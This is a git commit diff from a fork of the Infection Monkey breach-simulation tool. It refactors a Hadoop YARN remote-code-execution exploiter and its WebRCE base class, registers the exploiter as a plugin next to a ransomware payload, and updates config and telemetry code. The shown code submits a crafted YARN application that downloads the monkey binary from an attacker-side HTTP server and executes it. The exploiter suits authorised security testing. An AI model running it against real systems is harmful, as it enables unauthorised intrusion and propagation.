forked from p15670423/monkey
Merge pull request #1743 from guardicore/1605-modify-hadoop
Modify Hadoop exploiter
This commit is contained in:
commit
85eb3a2c0d
|
@ -33,29 +33,32 @@ class HadoopExploiter(WebRCE):
|
|||
# Random string's length that's used for creating unique app name
|
||||
RAN_STR_LEN = 6
|
||||
|
||||
def __init__(self, host):
|
||||
super(HadoopExploiter, self).__init__(host)
|
||||
def __init__(self):
|
||||
super(HadoopExploiter, self).__init__()
|
||||
|
||||
def _exploit_host(self):
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return False
|
||||
# We presume hadoop works only on 64-bit machines
|
||||
if self.host.os["type"] == "windows":
|
||||
self.host.os["machine"] = "64"
|
||||
return self.exploit_result
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return False
|
||||
return self.exploit_result
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
command = self.build_command(paths["dest_path"], http_path)
|
||||
if not self.exploit(self.vulnerable_urls[0], command):
|
||||
return False
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
self.add_executed_cmd(command)
|
||||
return True
|
||||
|
||||
try:
|
||||
command = self._build_command(paths["dest_path"], http_path)
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
finally:
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
def exploit(self, url, command):
|
||||
# Get the newly created application id
|
||||
|
@ -69,7 +72,7 @@ class HadoopExploiter(WebRCE):
|
|||
rand_name = ID_STRING + "".join(
|
||||
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
||||
)
|
||||
payload = self.build_payload(app_id, rand_name, command)
|
||||
payload = self._build_payload(app_id, rand_name, command)
|
||||
resp = requests.post(
|
||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
|
@ -85,7 +88,7 @@ class HadoopExploiter(WebRCE):
|
|||
return False
|
||||
return resp.status_code == 200
|
||||
|
||||
def build_command(self, path, http_path):
|
||||
def _build_command(self, path, http_path):
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
if "linux" in self.host.os["type"]:
|
||||
|
@ -101,7 +104,7 @@ class HadoopExploiter(WebRCE):
|
|||
}
|
||||
|
||||
@staticmethod
|
||||
def build_payload(app_id, name, command):
|
||||
def _build_payload(app_id, name, command):
|
||||
payload = {
|
||||
"application-id": app_id,
|
||||
"application-name": name,
|
||||
|
|
|
@ -1,11 +1,10 @@
|
|||
import logging
|
||||
import re
|
||||
from abc import abstractmethod
|
||||
from posixpath import join
|
||||
from typing import List, Tuple
|
||||
|
||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_64
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
|
@ -15,8 +14,6 @@ from infection_monkey.model import (
|
|||
CHMOD_MONKEY,
|
||||
DOWNLOAD_TIMEOUT,
|
||||
DROPPER_ARG,
|
||||
GET_ARCH_LINUX,
|
||||
GET_ARCH_WINDOWS,
|
||||
ID_STRING,
|
||||
MONKEY_ARG,
|
||||
POWERSHELL_HTTP_UPLOAD,
|
||||
|
@ -35,22 +32,13 @@ POWERSHELL_NOT_FOUND = "powershell is not recognized"
|
|||
|
||||
|
||||
class WebRCE(HostExploiter):
|
||||
def __init__(self, host, monkey_target_paths=None):
|
||||
def __init__(self, monkey_target_paths=None):
|
||||
"""
|
||||
:param host: Host that we'll attack
|
||||
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
||||
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
||||
"""
|
||||
super(WebRCE, self).__init__(host)
|
||||
if monkey_target_paths:
|
||||
self.monkey_target_paths = monkey_target_paths
|
||||
else:
|
||||
self.monkey_target_paths = {
|
||||
"linux": self._config.dropper_target_path_linux,
|
||||
"win32": self._config.dropper_target_path_win_32,
|
||||
"win64": self._config.dropper_target_path_win_64,
|
||||
}
|
||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||
super(WebRCE, self).__init__()
|
||||
self.monkey_target_paths = monkey_target_paths
|
||||
self.vulnerable_urls = []
|
||||
self.target_url = None
|
||||
|
||||
|
@ -80,10 +68,6 @@ class WebRCE(HostExploiter):
|
|||
# vulnerable.
|
||||
exploit_config["stop_checking_urls"] = False
|
||||
|
||||
# blind_exploit: If true we won't check if file exist and won't try to get the
|
||||
# architecture of target.
|
||||
exploit_config["blind_exploit"] = False
|
||||
|
||||
return exploit_config
|
||||
|
||||
def _exploit_host(self):
|
||||
|
@ -108,10 +92,6 @@ class WebRCE(HostExploiter):
|
|||
|
||||
self.target_url = self.get_target_url()
|
||||
|
||||
# Check for targets architecture (if it's 32 or 64 bit)
|
||||
if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()):
|
||||
return False
|
||||
|
||||
# Upload the right monkey to target
|
||||
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
|
||||
|
||||
|
@ -133,6 +113,16 @@ class WebRCE(HostExploiter):
|
|||
|
||||
return True
|
||||
|
||||
def pre_exploit(self):
|
||||
if not self.monkey_target_paths:
|
||||
self.monkey_target_paths = {
|
||||
"linux": self.options["dropper_target_path_linux"],
|
||||
"win32": self.options["dropper_target_path_win_32"],
|
||||
"win64": self.options["dropper_target_path_win_64"],
|
||||
}
|
||||
self.HTTP = [str(port) for port in self.options["http_ports"]]
|
||||
super().pre_exploit()
|
||||
|
||||
@abstractmethod
|
||||
def exploit(self, url, command):
|
||||
"""
|
||||
|
@ -254,38 +244,6 @@ class WebRCE(HostExploiter):
|
|||
if not self.vulnerable_urls:
|
||||
logger.info("No vulnerable urls found, skipping.")
|
||||
|
||||
def get_host_arch(self, url):
|
||||
"""
|
||||
:param url: Url for exploiter to use
|
||||
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
||||
"""
|
||||
if "linux" in self.host.os["type"]:
|
||||
resp = self.exploit(url, GET_ARCH_LINUX)
|
||||
if resp:
|
||||
# Pulls architecture string
|
||||
arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp)
|
||||
try:
|
||||
arch = arch.group(1)
|
||||
except AttributeError:
|
||||
logger.error("Looked for linux architecture but could not find it")
|
||||
return False
|
||||
if arch:
|
||||
return arch
|
||||
else:
|
||||
logger.info("Could not pull machine architecture string from command's output")
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
resp = self.exploit(url, GET_ARCH_WINDOWS)
|
||||
if resp:
|
||||
if "64-bit" in resp:
|
||||
return WIN_ARCH_64
|
||||
else:
|
||||
return WIN_ARCH_32
|
||||
else:
|
||||
return False
|
||||
|
||||
# Wrapped functions:
|
||||
def get_ports_w(self, ports, names):
|
||||
"""
|
||||
|
@ -302,15 +260,6 @@ class WebRCE(HostExploiter):
|
|||
else:
|
||||
return ports
|
||||
|
||||
def set_host_arch(self, url):
|
||||
arch = self.get_host_arch(url)
|
||||
if not arch:
|
||||
logger.error("Couldn't get host machine's architecture")
|
||||
return False
|
||||
else:
|
||||
self.host.os["machine"] = arch
|
||||
return True
|
||||
|
||||
def run_backup_commands(self, resp, url, dest_path, http_path):
|
||||
"""
|
||||
If you need multiple commands for the same os you can override this method to add backup
|
||||
|
@ -327,7 +276,9 @@ class WebRCE(HostExploiter):
|
|||
"monkey_path": dest_path,
|
||||
"http_path": http_path,
|
||||
}
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
self.telemetry_messenger.send_telemtry(
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
|
||||
)
|
||||
resp = self.exploit(url, backup_command)
|
||||
return resp
|
||||
|
||||
|
@ -385,10 +336,10 @@ class WebRCE(HostExploiter):
|
|||
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||
try:
|
||||
resp = self.exploit(url, command)
|
||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
|
||||
except Exception as e:
|
||||
logger.error("Something went wrong while trying to change permission: %s" % e)
|
||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
||||
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
|
@ -517,14 +468,15 @@ class WebRCE(HostExploiter):
|
|||
logger.error("Target's OS was either unidentified or not supported. Aborting")
|
||||
return False
|
||||
if self.host.os["type"] == "linux":
|
||||
return self._config.dropper_target_path_linux
|
||||
return self.options["dropper_target_path_linux"]
|
||||
if self.host.os["type"] == "windows":
|
||||
try:
|
||||
# remove now or when 32-bit binaries are removed?
|
||||
if self.host.os["machine"] == WIN_ARCH_64:
|
||||
return self._config.dropper_target_path_win_64
|
||||
return self.options["dropper_target_path_win_64"]
|
||||
except KeyError:
|
||||
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
return self._config.dropper_target_path_win_32
|
||||
return self.options["dropper_target_path_win_32"]
|
||||
|
||||
def get_target_url(self):
|
||||
"""
|
||||
|
|
|
@ -68,7 +68,6 @@ class WebLogic201710271(WebRCE):
|
|||
|
||||
def get_exploit_config(self):
|
||||
exploit_config = super(WebLogic201710271, self).get_exploit_config()
|
||||
exploit_config["blind_exploit"] = True
|
||||
exploit_config["stop_checking_urls"] = True
|
||||
exploit_config["url_extensions"] = WebLogic201710271.URLS
|
||||
return exploit_config
|
||||
|
@ -267,7 +266,6 @@ class WebLogic20192725(WebRCE):
|
|||
def get_exploit_config(self):
|
||||
exploit_config = super(WebLogic20192725, self).get_exploit_config()
|
||||
exploit_config["url_extensions"] = WebLogic20192725.URLS
|
||||
exploit_config["blind_exploit"] = True
|
||||
exploit_config["dropper"] = True
|
||||
return exploit_config
|
||||
|
||||
|
|
|
@ -44,8 +44,7 @@ RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
|
|||
# Commands used to check for architecture and if machine is exploitable
|
||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||
# Architecture checking commands
|
||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||
GET_ARCH_LINUX = "lscpu"
|
||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
|
||||
|
||||
# All in one commands (upload, change permissions, run)
|
||||
HADOOP_WINDOWS_COMMAND = (
|
||||
|
|
|
@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import (
|
|||
SSHCredentialCollector,
|
||||
)
|
||||
from infection_monkey.exploit import ExploiterWrapper
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
from infection_monkey.master import AutomatedMaster
|
||||
|
@ -222,6 +223,9 @@ class InfectionMonkey:
|
|||
exploit_wrapper.wrap(SSHExploiter),
|
||||
PluginType.EXPLOITER,
|
||||
)
|
||||
puppet.load_plugin(
|
||||
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
|
||||
)
|
||||
|
||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||
|
||||
|
|
|
@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
def get_exploit_telem_brief(telem):
|
||||
target = telem["data"]["machine"]["ip_addr"]
|
||||
exploiter = telem["data"]["exploiter"]
|
||||
result = telem["data"]["result"]
|
||||
result = telem["data"]["exploitation_result"]
|
||||
if result:
|
||||
return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter)
|
||||
else:
|
||||
|
|
|
@ -611,6 +611,8 @@ class ConfigService:
|
|||
]:
|
||||
exploit_options[dropper_target] = config.get(dropper_target, "")
|
||||
|
||||
exploit_options["http_ports"] = sorted(config["HTTP_PORTS"])
|
||||
|
||||
formatted_exploiters_config = {
|
||||
"options": exploit_options,
|
||||
"brute_force": [],
|
||||
|
|
|
@ -175,6 +175,7 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
|
|||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
|
||||
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
|
||||
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
|
||||
},
|
||||
"brute_force": [
|
||||
{"name": "MSSQLExploiter", "options": {}},
|
||||
|
|
Loading…
Reference in New Issue